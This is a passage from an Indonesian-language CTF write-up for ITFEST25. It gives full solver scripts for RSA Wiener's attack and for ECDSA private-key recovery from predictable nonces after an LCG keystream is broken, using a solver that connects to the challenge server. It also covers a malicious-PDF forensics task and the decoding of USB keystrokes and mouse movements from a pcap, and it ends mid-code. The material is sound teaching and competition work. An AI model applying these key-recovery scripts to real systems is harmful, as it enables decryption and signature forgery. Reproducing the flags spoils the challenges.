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CRYPTOGRAPHY 
loser​

Flag: ITFEST25{when_yh_jadi_my_kisah} 
 
Deskripsi 

THE WINNER TAKES IT ALL (takes it all) THE LOSER HAS TO FALL (has to fall) IT'S SIMPLE 
AND IT'S PLAINNNN (it's so plain) WHY SHOULD I COMPLAINNNNNNNNNNNNN? (Why 
complain?) 

Author: Durrr 

Informasi Terkait Soal 
 

chall.py 

from Crypto.Util.number import getPrime, bytes_to_long, inverse 

import random 

flag = b"{REDACTED}" 

m = bytes_to_long(flag) 

p = getPrime(512) 

q = getPrime(512) 

n = p * q 

phi = (p - 1) * (q - 1) 

bound = int(n**0.25) // 9 

d = random.randint(1, bound) 

e = inverse(d, phi) 

 

c = pow(m, e, n) 

print(f"n = {n}") 

print(f"e = {e}") 

print(f"c = {c}") 

 

# n = 

8978703050606513096169116207164052660090099939058402521243892522402579060361

1803382829753068415346194234828370090019894570631854213526738959075845323641

3969927796842461409219169699959985249663316778263082407842539004028396965596

3484443312020721919258140684493746716434027482928762533405362414368952577835

9709 

# e = 

7841484904575331700147466112956635312325117020639111647823710762318841723039
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3458001339962470374215604580509944423543229370632169599310737503281734289658

2221498314036305601140433161947228604232964651278938127137378175867481130447

0479515477645421128394494102290139807851291345394877803745993900216910352063

4737 

# c = 

2842487567974592330703756772759267060134636316022110010421643359038126016870

3389829862412346264944920071174922277887743147710764479351398887241102512955

9246904280157326872202481835211832428335606495579918236044615263264326720760

5628479285603428281771432610002929238766312124980536303847011840359558225430

3652 

 
 
Pendekatan 
 
bound = int(n**0.25) // 9 

d = random.randint(1, bound) 
 
yeah, tebak siapa kembali 
salam wiener 
 
Solusi 
 

solver.py 

# eter 

from Crypto.Util.number import * 

from sage.all import * 

from pwn import * 

# from Pwn4Sage.pwn import * 

context.log_level = 'debug' 

 

def wiener(e, n): 

    m = 12345 

    c = pow(m, e, n) 

    lst = continued_fraction(Integer(e)/Integer(n)) 

    conv = lst.convergents() 

    for i in conv: 

        k = i.numerator() 

        d = int(i.denominator()) 

        try: 

            m1 = pow(c, d, n) 

            if m1 == m: 
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                print(d) 

                return d 

        except: 

            continue 

    return -1 

 

def main(): 

    n = 

8978703050606513096169116207164052660090099939058402521243892522402579060361

1803382829753068415346194234828370090019894570631854213526738959075845323641

3969927796842461409219169699959985249663316778263082407842539004028396965596

3484443312020721919258140684493746716434027482928762533405362414368952577835

9709 

    e = 

7841484904575331700147466112956635312325117020639111647823710762318841723039

3458001339962470374215604580509944423543229370632169599310737503281734289658

2221498314036305601140433161947228604232964651278938127137378175867481130447

0479515477645421128394494102290139807851291345394877803745993900216910352063

4737 

    c = 

2842487567974592330703756772759267060134636316022110010421643359038126016870

3389829862412346264944920071174922277887743147710764479351398887241102512955

9246904280157326872202481835211832428335606495579918236044615263264326720760

5628479285603428281771432610002929238766312124980536303847011840359558225430

3652 

 

    d = wiener(e, n) 

    print(long_to_bytes(pow(c, d, n))) 

 

if __name__ == '__main__': 

    main() 

 
Hasil 
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petani-cry​
Flag: ITFEST{t4n4m_t4namm_Ub1111_t4k_p3rLu_1nT3rn_or4n9_or4n9_IT_ud4h_d0_aja} 

 
Deskripsi 

Jadi gini, probset nih skill issue, tapi malah disuruh buat soal crypto, yaudahlah, udek-udek 
aja... mohon maaf kalau kurang susah :) 

btw jangan lupa nonton film sore, istri kamu dari masa depan :))))) ini masterpiece, semua 
orang harus nonton, ini trailernya 

 

Author: ji4xuu 

nc 103.160.212.3 1337 
 
Informasi Terkait Soal 
 
Diberikan folder release, ada dua file yang penting: 
 

ecc.py 

#!/usr/bin/env python3 

import random 

from Crypto.Util.number import bytes_to_long 

from Crypto.Cipher import AES 

from Crypto.Util.Padding import unpad, pad 

import hashlib 

import os 

 

class EllipticCurve: 

    def __init__(self): 

        self.p = 

3940200619639447921227904010014361380507973927046544666794829340424572177149

6870329047266088258938001861606973112319 
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        self.a = -3 

        self.b = 

0xB3312FA7E23EE7E4988E056BE3F82D19181D9C6EFE8141120314088F5013875AC656398D8A

2ED19D2A85C8EDD3EC2AEF 

        self.Gx = 

0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798 

        self.Gy = 

0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8 

        self.generator = (self.Gx, self.Gy) 

        self.n = 

3940200619639447921227904010014361380507973927046544666794690527962765939911

3263569398956308152294913554433653942643 

    

    @staticmethod 

    def inverse(n, modulus): 

        return pow(n, -1, modulus) 

    

    def point_add(self, P, Q): 

        """Add two points on the elliptic curve""" 

        if P == (None, None): 

            return Q 

        if Q == (None, None): 

            return P 

        (x1, y1), (x2, y2) = P, Q 

        if x1 == x2 and (y1 + y2) % self.p == 0: return (None, None) 

        if P == Q: 

            l = (3 * x1 * x1 + self.a) * self.inverse(2 * y1, self.p) % 

self.p 

        else: 

            l = (y2 - y1) * self.inverse(x2 - x1, self.p) % self.p 

        x3 = (l * l - x1 - x2) % self.p 

        y3 = (l * (x1 - x3) - y1) % self.p 

        return (x3, y3) 

 

    def scalar_mult(self, k, P): 

        R = (None, None) 

        if k == 0: 

            return (None, None) 

        if k < 0: 

            k = -k 

            P = (P[0], -P[1] % self.p) 
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        while k: 

            if k & 1: R = self.point_add(R, P) 

            P = self.point_add(P, P) 

            k >>= 1 

        return R 

 

class ECDSA: 

    def __init__(self, curve): 

        self.curve = curve 

        self.private_key = random.randint(1, self.curve.n - 1) 

        self.public_key = self.curve.scalar_mult(self.private_key, 

self.curve.generator) 

        self.bound = random.choice([2**19, 2**41, 2**83]) 

        self.a = random.randrange(1, self.bound << 7) 

        self.b = random.randrange(1, self.bound) 

        self.c = random.randrange(1, self.bound >> 7) 

        self.last_k = random.randrange(1, self.curve.n) 

 

    def generate_nonce(self): 

        current_k = self.last_k 

        next_k = (self.a * current_k**2 + self.b * current_k + self.c) % 

self.curve.n 

        self.last_k = next_k 

        return current_k 

    

    def leak_generator(self): 

        greyy = lambda x: (2*x) ^ x ^ (x//2) ^ (x//4) 

        leak = self.bound 

        for _ in range(200): leak = greyy(leak) 

        return leak 

    

    def sign(self, message): 

        h = bytes_to_long(hashlib.sha512(message).digest()) 

        k = self.generate_nonce() 

        P = self.curve.scalar_mult(k, self.curve.generator) 

        r = P[0] % self.curve.n 

        k_inv = self.curve.inverse(k, self.curve.n) 

        s = (k_inv * (h + self.private_key * r)) % self.curve.n 

        return (r, s) 

 

    def verify(self, message, signature): 
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        r, s = signature 

        if not (1 <= r < self.curve.n) or not (1 <= s < self.curve.n): 

            return False 

        h = bytes_to_long(hashlib.sha512(message).digest()) 

        w = self.curve.inverse(s, self.curve.n) 

        u1 = (h * w) % self.curve.n 

        u2 = (r * w) % self.curve.n 

        p1 = self.curve.scalar_mult(u1, self.curve.generator) 

        p2 = self.curve.scalar_mult(u2, self.public_key) 

        point = self.curve.point_add(p1, p2) 

        return point[0] % self.curve.n == r 

 

chal.py 

from ecc import * 

from Crypto.Util.number import bytes_to_long, long_to_bytes, getPrime 

from Crypto.Cipher import AES 

from Crypto.Util.Padding import pad 

import base64 

import random 

import hashlib 

import json 

 

 

with open("flag.txt") as f: 

    flag = f.read().strip().encode() 

 

curve = EllipticCurve() 

ecdsa_system = ECDSA(curve) 

d = ecdsa_system.private_key 

public_key = ecdsa_system.public_key 

 

class Farmer: 

    def __init__(self): 

        self.ubi_harvested = 0 

        self.signatures = [] 

 

class UbiFarm: 

    def __init__(self): 

        self.total_ubi = 5 
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        self.m =  getPrime(64) 

        self.a = random.randrange(1, self.m) 

        self.c = random.randrange(1, self.m) 

        self.seed = random.randrange(1, self.m) 

 

    def get_keystream(self, length): 

        states_needed = (length + 7) // 8 

        ks = bytearray() 

        for _ in range(states_needed): 

            self.seed = (self.a * self.seed + self.c) % self.m 

            ks += self.seed.to_bytes(8, 'big') 

        return bytes(ks[:length]) 

 

    def encrypt_ubi(self, ubi_json): 

        raw = ubi_json.encode() 

        raw = raw.ljust(32, b'\x00') 

        ks = self.get_keystream(len(raw)) 

        ct = bytes(p ^ k for p, k in zip(raw, ks)) 

        return ct.hex() 

 

    def validate_cleaned_ubi(self, user_input_hex, expected_json): 

        try: 

            ct = bytes.fromhex(user_input_hex) 

            ks = self.get_keystream(len(ct)) 

            pt = bytes(c ^ k for c, k in zip(ct, ks)) 

            pt = pt.rstrip(b'\x00') 

            return json.loads(pt.decode()) == json.loads(expected_json) 

        except: 

            return False 

 

print(r""" 

Welcome to 

 _____                                   _____                                

_      _ 

/__   \  __ _  _ __    __ _  _ __ ___   /__   \  __ _  _ __    __ _  _ __ 

___    /\ /\ | |__  (_) 

  / /\/ / _` || '_ \  / _` || '_ ` _ \    / /\/ / _` || '_ \  / _` || '_ ` _ 

\  / / \ \| '_ \ | | 

 / /   | (_| || | | || (_| || | | | | |  / /   | (_| || | | || (_| || | | | 

| | \ \_/ /| |_) || | 
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 \/     \__,_||_| |_| \__,_||_| |_| |_|  \/     \__,_||_| |_| \__,_||_| |_| 

|_|  \___/ |_.__/ |_| 

 

""") 

 

farmer = Farmer() 

farm = UbiFarm() 

 

print("Selamat datang, Petani Magang!!!") 

print("Tugasmu adalah memanen ubi jalar di ladang ini.") 

print("Setiap ubi yang kamu panen dengan tepat akan kami berikan upah yang 

layak.") 

print("Saat ini, ada tepat 5 ubi yang sudah layak untuk dipanen.") 

print("Nah, selamat bekerja dan tunjukkan jati dirimu sebagai petani 

sejati!") 

print(f"Eh, apa ini {public_key}") 

print(f"WAIITTTT, Bapak Agoyy, pemilik ladang yang baik hati dan bijaksana 

ingin memberikan sedikit nasihat: 

{base64.b64encode(long_to_bytes(ecdsa_system.leak_generator())).decode()}") 

print("Jangan lupa, kamu harus membersihkan ubi sebelum mendapatkan tanda 

tangan dari Bapak Agoyy.") 

print("Biar bapak kasih contoh cara panen dan membersihkan ubi:") 

ubi_no = str(farmer.ubi_harvested) 

ubi_berat = random.randint(1, 9) 

ubi = json.dumps({"ubi_no": ubi_no, "ubi_berat": ubi_berat}) 

encrypted_ubi = farm.encrypt_ubi(ubi) 

print(f"Ini ubi kotornya : {encrypted_ubi}") 

print(f"Nah, ini ubi yang bersihnya : {ubi}") 

 

while True: 

    print("\n-------------Menu Petani Magang-------------") 

    print(f"Ubi dipanen: {farmer.ubi_harvested}") 

    print("1. Panen Ubi") 

    print("2. Jual Hasil Panen") 

    print("3. Keluar") 

 

    try: 

        choice = int(input("> ")) 

    except ValueError: 

        print("Pilihan tidak valid. Silakan coba lagi.") 

        continue 
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    if choice == 1: 

        if farmer.ubi_harvested >= farm.total_ubi: 

            print("Tidak ada ubi lagi yang bisa dipanen.") 

            continue 

 

        ubi_no = str(farmer.ubi_harvested) 

        ubi_berat = random.randint(1, 9) 

        ubi = json.dumps({"ubi_no": ubi_no, "ubi_berat": ubi_berat}) 

        encrypted_ubi = farm.encrypt_ubi(ubi) 

 

        print(f"Bapak Agoyy mengacak data ubi: {encrypted_ubi}") 

        print("Coba bersihkan ubi dan kembalikan dalam bentuk hex!") 

 

        user_input = input("(hex) > ").strip() 

        if farm.validate_cleaned_ubi(user_input, ubi): 

            print("Ubi berhasil dibersihkan! Kamu dapat tanda tangan.") 

            message = f"ubi#{ubi_no}".encode() 

            r, s = ecdsa_system.sign(message) 

            farmer.signatures.append((r, s, message)) 

            farmer.ubi_harvested += 1 

            print(f"Tanda tangan untuk {message.decode()}:") 

            print(f"r = {r}") 

            print(f"s = {s}") 

        else: 

            print("Ubi masih kotor... Coba lagi.") 

 

    elif choice == 2: 

        if farmer.ubi_harvested < farm.total_ubi: 

            print("Belum cukup hasil panen! Kumpulkan semua dulu (5 ubi)!") 

        else: 

            key = hashlib.sha256(long_to_bytes(d)).digest() 

            iv = os.urandom(16) 

            cipher = AES.new(key, AES.MODE_CBC, iv) 

            encrypted_flag = iv + cipher.encrypt(pad(flag, 16)) 

            print("Selamat! Kamu resmi jadi pewaris ladang!") 

            print("Berikut hadiahmu yang terkunci oleh kunci petani 

sejati:") 

            print(encrypted_flag.hex()) 

            break 
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    elif choice == 3: 

        print("Sampai jumpa, Petani Magang!") 

        break 

 

    else: 

        print("Pilihan tidak dikenal.") 

 
Pendekatan 
 
Banyak tahap yang harus dilakukan untuk challenge ini. Flag sendiri diberikan setelah 
memanen 5 ubi dan flag di enkripsi dengan d. Jadi kita harus cari d.  
 
Kita tau kalau d berasal dari sistem ECDSA di ecc.py. Di class ECDSA ada fungsi buat 
generate nonce / k: 
 
def generate_nonce(self): 

        current_k = self.last_k 

        next_k = (self.a * current_k**2 + self.b * current_k + self.c) % 

self.curve.n 

        self.last_k = next_k 

        return current_k 

 
k di ECDSA ini dibuat pakai sebuah QCG, yang dimana k deterministik dan setiap k baru 
merupakan hasil dari operasi QCG ke k sebelumnya.  
 

 
 
Kerentanan k tadi kemudian bisa dibuat sistem polinomial. Jika kita berhasil memasukkan k 
ke relasi QCG, akan terbuat polinomial dimana ada unknown variable yaitu d, a, b, dan c. 4 
unknown variable ini perlu 4 equation untuk ditemukan, dan misal kita mendapatkan 5 
signature, kita bisa menghubungkan k0 - k1, k1 - k2, k2 - k3, k3 - k4 yang membuat 4 
equation. 
 
def leak_generator(self): 

        greyy = lambda x: (2*x) ^ x ^ (x//2) ^ (x//4) 

        leak = self.bound 

        for _ in range(200): leak = greyy(leak) 

        return leak 
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Dibawah fungsi generate nonce, ada generator leak. Leak disini merupakan leak ke bound 
yang dipakai, salah satu dari random.choice([2**19, 2**41, 2**83]). Saya sempat coba 
reverse greyy tapi jadinya 0, jadi nanti bakal brute bound (lagian cuma checking a b c aja ke 
3 bound yang possible, sebenernya leaknya ga terlalu penting, cuma jadi checking ke satu 
bound yang didapat dari leak). 
 
Kemudian bagaimana cara kita mendapatkan 5 signature? Di fungsi utama chal.py kita 
harus membersihkan 5 ubi untuk mendapatkan 5 signature. Di awal challenge diberikan 
contoh ubi kotor (ct) dan ubi bersih (pt). 
 
encrypted_ubi = farm.encrypt_ubi(ubi) 

print(f"Ini ubi kotornya : {encrypted_ubi}") 

print(f"Nah, ini ubi yang bersihnya : {ubi}") 

 
class UbiFarm: 

    def __init__(self): 

        self.total_ubi = 5 

 

        self.m =  getPrime(64) 

        self.a = random.randrange(1, self.m) 

        self.c = random.randrange(1, self.m) 

        self.seed = random.randrange(1, self.m) 

 

    def get_keystream(self, length): 

        states_needed = (length + 7) // 8 

        ks = bytearray() 

        for _ in range(states_needed): 

            self.seed = (self.a * self.seed + self.c) % self.m 

            ks += self.seed.to_bytes(8, 'big') 

        return bytes(ks[:length]) 

 

    def encrypt_ubi(self, ubi_json): 

        raw = ubi_json.encode() 

        raw = raw.ljust(32, b'\x00') 

        ks = self.get_keystream(len(raw)) 

        ct = bytes(p ^ k for p, k in zip(raw, ks)) 

        return ct.hex() 

 
Kemudian untuk pembuatan ubi kotor itu sendiri, ubi dienkripsi dengan sebuah LCG dengan 
cara di XOR, kemudian kita diberikan pt (ubi bersih), dan ct (ubi kotor). Kita bisa recover 
keystreamnya dengan cara XOR kembali, dan mendapat 32 byte pertama dari keystream, 
yang berisi 4 state LCG, yang dimana bisa dipakai untuk mencari m, a, dan c. Setelah itu, 
kita bisa prediksi output LCG yang berarti kita bisa memanen 5 ubi untuk mendapatkan 5 
signatures. 
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Solusi 
 

solver.sage 

# eter 

from Crypto.Util.number import * 

# from pwn import * 

from Pwn4Sage.pwn import * 

context.log_level = 'debug' 

 

from Crypto.Cipher import AES 

from Crypto.Util.Padding import unpad 

import base64, hashlib, json 

 

hostport = 'nc 103.160.212.3 1337' 

HOST = hostport.split()[1] 

PORT = int(hostport.split()[2]) 

 

p = 

3940200619639447921227904010014361380507973927046544666794829340424572177149

6870329047266088258938001861606973112319 

a_curve = -3 

b_curve = 

0xB3312FA7E23EE7E4988E056BE3F82D19181D9C6EFE8141120314088F5013875AC656398D8A

2ED19D2A85C8EDD3EC2AEF 

Gx = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798 

Gy = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8 

n = 

3940200619639447921227904010014361380507973927046544666794690527962765939911

3263569398956308152294913554433653942643 

 

def main(): 

    r = remote(HOST, PORT) 

 

    r.recvuntil(b"Selamat datang, Petani Magang!!!\n") 

    r.recvline() 

    r.recvline() 

    r.recvline() 

    r.recvline() 

    pubkey_line = r.recvline() 
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    leak = r.recvline() 

    

    print("breaking lcg stream cipher~") 

    r.recvuntil(b"Ini ubi kotornya : ") 

    enc_ubi = r.recvline().strip() 

    r.recvuntil(b"Nah, ini ubi yang bersihnya : ") 

    ubi_json = r.recvline().strip() 

 

    ct = bytes.fromhex(enc_ubi.decode()) 

    pt = ubi_json.ljust(32, b'\x00') 

    ks = bytes(p.__xor__(k) for p, k in zip(pt, ct)) 

    

    s = [] 

    for i in range(4): 

        s.append(bytes_to_long(ks[i*8:(i+1)*8])) 

    s1, s2, s3, s4 = s[0], s[1], s[2], s[3] 

 

    T = (s3 - s2)**2 - (s4 - s3) * (s2 - s1) 

    factors_list = factor(T) 

    m = [f for f, e in factors_list if f.bit_length() == 64 and 

is_prime(f)][0] 

    

    a_lcg = (s3 - s2) * inverse_mod(s2 - s1, m) % m 

    c_lcg = (s2 - a_lcg * s1) % m 

    

    print(f"lcg params: m={m}, a={a_lcg}, c={c_lcg}") 

    

    cur_seed = s4 

    

    print("collecting signatures~") 

    sigs = [] 

    for i in range(5): 

        r.recvuntil(b"> ") 

        r.sendline(b"1") 

        r.recvuntil(b"Bapak Agoyy mengacak data ubi: ") 

        enc_ubi_hex = r.recvline().strip() 

 

        pred_ks = b"" 

        next_seed_dec = cur_seed 

        for _ in range(4): 

            next_seed_dec = (a_lcg * next_seed_dec + c_lcg) % m 
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            pred_ks += long_to_bytes(next_seed_dec, 8) 

 

        enc_ubi_bytes = bytes.fromhex(enc_ubi_hex.decode()) 

        dec_ubi_bytes = bytes(c.__xor__(k) for c, k in zip(enc_ubi_bytes, 

pred_ks[:len(enc_ubi_bytes)])) 

 

        dec_ubi_clean = dec_ubi_bytes.rstrip(b'\x00') 

        clean_pad = dec_ubi_clean.ljust(32, b'\x00') 

        

        val_ks = b"" 

        next_seed_enc = next_seed_dec 

        for _ in range(4): 

            next_seed_enc = (a_lcg * next_seed_enc + c_lcg) % m 

            val_ks += long_to_bytes(next_seed_enc, 8) 

 

        cur_seed = next_seed_enc 

        

        clean_enc = bytes(p.__xor__(k) for p, k in zip(clean_pad, val_ks)) 

        clean_enc = clean_enc[:len(enc_ubi_bytes)] 

        

        r.recvuntil(b"(hex) > ") 

        r.sendline(clean_enc.hex().encode()) 

        r.recvuntil(b"r = ") 

        sig_r = int(r.recvline().strip()) 

        r.recvuntil(b"s = ") 

        sig_s = int(r.recvline().strip()) 

 

        msg = f"ubi#{i}".encode() 

        h = bytes_to_long(hashlib.sha512(msg).digest()) 

        

        sigs.append({'r': sig_r, 's': sig_s, 'h': h}) 

        print(f"got {i+1}/5 sigs") 

 

    print(sigs) 

 

    print("solving polynomial system~") 

    R = PolynomialRing(Zmod(n), 'd, a, b, c', order='lex') 

    d, a_qcg, b_qcg, c_qcg = R.gens() 

 

    k = [] 

    for sig in sigs: 
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        s_inv = inverse_mod(sig['s'], n) 

        k.append(s_inv * (sig['h'] + d * sig['r'])) 

 

    eqs = [k[i+1] - (a_qcg * k[i]**2 + b_qcg * k[i] + c_qcg) for i in 

range(4)] 

    print(eqs) 

 

    ideal = R.ideal(eqs) 

    print("computing groebner basis") 

    gb = ideal.groebner_basis() 

    print("finding varieties") 

    sols = R.ideal(gb).variety() 

    print("solved") 

 

    private_key = 0 

    if not sols: 

        print("cry") 

    else: 

        print(f"{len(sols)} candidates") 

 

        bounds = [2**19, 2**41, 2**83] 

        sol_ = False 

 

        for sol in sols: 

            a_sol = sol[a_qcg] 

            b_sol = sol[b_qcg] 

            c_sol = sol[c_qcg] 

            d_sol = sol[d] 

 

            print(f"checking sol: a={a_sol}, b={b_sol}, c={c_sol}") 

 

            for bound in bounds: 

                print(f" - testing against bound 2^{bound.bit_length()-1}") 

                a_ok = (1 <= a_sol < (bound << 7)) 

                b_ok = (1 <= b_sol < bound) 

                c_ok = (1 <= c_sol < (bound >> 7)) 

                

                if a_ok and b_ok and c_ok: 

                    print(f" - success, bound=2^{bound.bit_length()-1}") 

                    private_key = int(d_sol) 

                    sol_ = True 
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                    break 

 

            if sol_: 

                break 

 

    if private_key == 0: 

        print("sob no d") 

        r.close() 

        return 

 

    print(f"d found: {private_key}") 

 

    print("flag decryption~") 

    r.recvuntil(b"> ") 

    r.sendline(b"2") 

 

    r.recvuntil(b"Berikut hadiahmu yang terkunci oleh kunci petani 

sejati:\n") 

    enc_flag_hex = r.recvline().strip() 

    enc_flag = bytes.fromhex(enc_flag_hex.decode()) 

 

    aes_key = hashlib.sha256(long_to_bytes(private_key)).digest() 

    iv = enc_flag[:16] 

    ct = enc_flag[16:] 

 

    cipher = AES.new(aes_key, AES.MODE_CBC, iv) 

    try: 

        flag = unpad(cipher.decrypt(ct), 16) 

        print(flag.decode()) 

    except ValueError as e: 

        print(f"decryption failed: {e}") 

 

    r.close() 

 

if __name__ == '__main__': 

    main() 
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Hasil 
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FORENSIC 
 bad pdf​

Flag: ITFEST25{b3_c4r3ful_wh3n_d0wnl0ad1ng_PDFs_n3xt_tim3_it_m1ght_b3_malwar3} 
 
Deskripsi 

I just downloaded a paper for my AI research, but it looks suspicious. Can you check if it is 
malicious or not for me? 

Author: k1nomi 

Informasi Terkait Soal 
 
Diberikan satu pdf, paper.pdf. 
 

 
 
Pendekatan & Solusi 
 
Tentu saja karena ini chall “forensic” jadinya sebelum buka pdfnya saya exiftool dulu. 
Titlenya ternyata str b64 panjang. Didecode jadinya js, terus dicoba jalanin ada flag part 1. 
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Disini ada hint buat part 2, “embed it directly on the PDF”. Jadi saya langsung coba 
pdf-parser, ternyata ada /EmbeddedFile dan juga /JavaScript. 
 

 

 
 
Jadi object 4 isinya JS, object 3 isinya file, tinggal di extract aja pakai pdf-parser. JSnya 
dijalankan sama kaya part 1 - jadi part 2, buat embedded file isinya gambar yang berisi part 
3. 
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Hasil 
 
ITFEST25{b3_c4r3ful_wh3n_d0wnl0ad1ng_PDFs_n3xt_tim3_it_m1ght_b3_malwar3} 
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Weird Packet​
Flag: ITFEST25{keyboard_ngasih_clue_kehidupan_mouse_ngasih_click_keputusan} 

 
Deskripsi 

Hmm, this looks weird! This PCAP file contains data from a strange device. Each packet is 
hiding something. Take a look, troubleshoot, and find out. 

Author: Nikoo 

Informasi Terkait Soal 
 
Diberikan satu file pcap. 
 

 
 
Pendekatan & Solusi 
 
USB pcap, asumsi awal leftover capture data isinya data dari device USB entah itu mouse 
atau yang lain. Sebelumnya kita extract dulu pakai tshark, snippet dibawah: 
 

Leftover Capture Data: 01072800 
Leftover Capture Data: 0200330000000000 
Leftover Capture Data: 01072900 
Leftover Capture Data: 0000000000000000 
Leftover Capture Data: 01062800 
Leftover Capture Data: 0000080000000000 
Leftover Capture Data: 01072800 
Leftover Capture Data: 0000000000000000 
Leftover Capture Data: 0100ff00 
Leftover Capture Data: 00002c0000000000 
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Leftover Capture Data: 0100fe00 
Leftover Capture Data: 0000000000000000 
Leftover Capture Data: 01feec00 
Leftover Capture Data: 0000130000000000 
Leftover Capture Data: 0100fb00 
Leftover Capture Data: 0000000000000000 
Leftover Capture Data: 0100fc00 
Leftover Capture Data: 0000040000000000 
Leftover Capture Data: 0100fe00 
Leftover Capture Data: 0000000000000000 
Leftover Capture Data: 0100fa00 
Leftover Capture Data: 0000150000000000 

 
Disini ada dua tipe data yang dikirim, yang pendek (4-byte) lengthnya 68, yang panjang 
(8-byte) lengthnya 72. Mengingat dulu saya pernah mengerjakan soal extract keystroke dan 
juga extract mouse movement dari pcap, ini mungkin bisa jadi hal yang sama. 
 
Jadi saya vibe coding solver, dan ternyata yang 4-byte itu mouse.  
 

mouse_solver.py 

import struct 

from PIL import Image, ImageDraw 

 

def parse_mouse_data(hex_data): 

    # Format: [button_state][x_movement][y_movement][scroll][padding] 

    try: 

        data = bytes.fromhex(hex_data) 

        if len(data) < 4: 

            return None 

 

        button_state = data[0] 

        x_movement = struct.unpack('b', data[1:2])[0]  # signed byte 

        y_movement = struct.unpack('b', data[2:3])[0]  # signed byte 

        scroll = data[3] if len(data) > 3 else 0 

        

        return {'button': button_state, 'x': x_movement, 'y': y_movement, 

'scroll': scroll} 

    except: 

        return None 

 

def read_usb_data(filename): 

    movements = [] 
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    with open(filename, 'r') as f: 

        lines = f.readlines() 

    

    for i in range(0, len(lines), 2): 

        if i + 1 < len(lines): 

            line1 = lines[i].strip() 

            line2 = lines[i + 1].strip() 

            

            if "Leftover Capture Data:" in line1: 

                hex_data = line1.split("Leftover Capture Data:")[1].strip() 

                mouse_data = parse_mouse_data(hex_data) 

                if mouse_data and (mouse_data['x'] != 0 or mouse_data['y'] 

!= 0): 

                    movements.append(mouse_data) 

    

    return movements 

 

def reconstruct_path(movements): 

    x, y = 0, 0 

    path = [(x, y)] 

    clicks = [] 

    

    for move in movements: 

        x += move['x'] 

        y += move['y'] 

        path.append((x, y)) 

 

        if move['button'] & 0x01:  # Left click 

            clicks.append((x, y, 'left')) 

        if move['button'] & 0x02:  # Right click 

            clicks.append((x, y, 'right')) 

    

    return path, clicks 

 

def visualize_path(path, clicks, output_file='mouse_path.png'): 

    if not path: 

        print("No mouse movements found!") 

        return 

    

    # Calculate bounds 
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    xs = [p[0] for p in path] 

    ys = [p[1] for p in path] 

    

    min_x, max_x = min(xs), max(xs) 

    min_y, max_y = min(ys), max(ys) 

    

    padding = 50 

    width = max_x - min_x + 2 * padding 

    height = max_y - min_y + 2 * padding 

 

    img = Image.new('RGB', (width, height), 'white') 

    draw = ImageDraw.Draw(img) 

    

    # Adjust coordinates 

    adjusted_path = [(x - min_x + padding, y - min_y + padding) for x, y in 

path] 

    

    # Draw path 

    for i in range(1, len(adjusted_path)): 

        draw.line([adjusted_path[i-1], adjusted_path[i]], fill='black', 

width=2) 

    

    for x, y, click_type in clicks: 

        adj_x = x - min_x + padding 

        adj_y = y - min_y + padding 

        color = 'red' if click_type == 'left' else 'blue' 

        draw.ellipse([adj_x-5, adj_y-5, adj_x+5, adj_y+5], fill=color) 

    

    img.save(output_file) 

    print(f"Saved to {output_file}") 

    

    return img 

 

def extract_flag_text(movements): 

    path, clicks = reconstruct_path(movements) 

    visualize_path(path, clicks) 

    return path, clicks 

 

def main(): 

    movements = read_usb_data('test.txt') 

    print(f"Found {len(movements)} mouse movements") 
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    extract_flag_text(movements) 

 

if __name__ == "__main__": 

    main() 

 

 
 
Ternyata ini cuma setengah dari flagnya. Tadi ada data yang 8-byte, itu ternyata data 
keyboard. Jadi saya vibe coding lagi. 
 

keyboard_solver.py 

def parse_keyboard_data(hex_data): 

    # Format: [modifier][reserved][key1][key2][key3][key4][key5][key6] 

    try: 

        # Remove any whitespace and convert hex string to bytes 

        hex_data = hex_data.strip() 

        if not hex_data: 

            return None 

            

        data = bytes.fromhex(hex_data) 

        if len(data) != 8: 

            return None 
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        modifier = data[0] 

        reserved = data[1] 

        keys = data[2:8] 

        

        return { 

            'modifier': modifier, 

            'reserved': reserved, 

            'keys': keys 

        } 

    except Exception as e: 

        return None 

 

KEYCODE_TO_CHAR = { 

    0x04: 'a', 0x05: 'b', 0x06: 'c', 0x07: 'd', 0x08: 'e', 0x09: 'f', 

    0x0A: 'g', 0x0B: 'h', 0x0C: 'i', 0x0D: 'j', 0x0E: 'k', 0x0F: 'l', 

    0x10: 'm', 0x11: 'n', 0x12: 'o', 0x13: 'p', 0x14: 'q', 0x15: 'r', 

    0x16: 's', 0x17: 't', 0x18: 'u', 0x19: 'v', 0x1A: 'w', 0x1B: 'x', 

    0x1C: 'y', 0x1D: 'z', 

    0x1E: '1', 0x1F: '2', 0x20: '3', 0x21: '4', 0x22: '5', 

    0x23: '6', 0x24: '7', 0x25: '8', 0x26: '9', 0x27: '0', 

    0x28: '\n', 0x29: '\x1b', 0x2A: '\b', 0x2B: '\t', 

    0x2C: ' ', 0x2D: '-', 0x2E: '=', 0x2F: '[', 0x30: ']', 

    0x31: '\\', 0x33: ';', 0x34: "'", 0x35: '`', 

    0x36: ',', 0x37: '.', 0x38: '/', 

    0x39: 'CAPS', 

    0x3A: 'F1', 0x3B: 'F2', 0x3C: 'F3', 0x3D: 'F4', 0x3E: 'F5', 0x3F: 'F6', 

    0x40: 'F7', 0x41: 'F8', 0x42: 'F9', 0x43: 'F10', 0x44: 'F11', 0x45: 

'F12' 

} 

 

# Shift modified characters 

SHIFT_KEYCODE_TO_CHAR = { 

    0x04: 'A', 0x05: 'B', 0x06: 'C', 0x07: 'D', 0x08: 'E', 0x09: 'F', 

    0x0A: 'G', 0x0B: 'H', 0x0C: 'I', 0x0D: 'J', 0x0E: 'K', 0x0F: 'L', 

    0x10: 'M', 0x11: 'N', 0x12: 'O', 0x13: 'P', 0x14: 'Q', 0x15: 'R', 

    0x16: 'S', 0x17: 'T', 0x18: 'U', 0x19: 'V', 0x1A: 'W', 0x1B: 'X', 

    0x1C: 'Y', 0x1D: 'Z', 

    0x1E: '!', 0x1F: '@', 0x20: '#', 0x21: '$', 0x22: '%', 

    0x23: '^', 0x24: '&', 0x25: '*', 0x26: '(', 0x27: ')', 

    0x2D: '_', 0x2E: '+', 0x2F: '{', 0x30: '}', 

    0x31: '|', 0x33: ':', 0x34: '"', 0x35: '~', 
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    0x36: '<', 0x37: '>', 0x38: '?' 

} 

 

def decode_keystroke(packet): 

    if not packet: 

        return None 

        

    modifier = packet['modifier'] 

    keys = packet['keys'] 

    

    result = [] 

    

    # Check if shift is pressed 

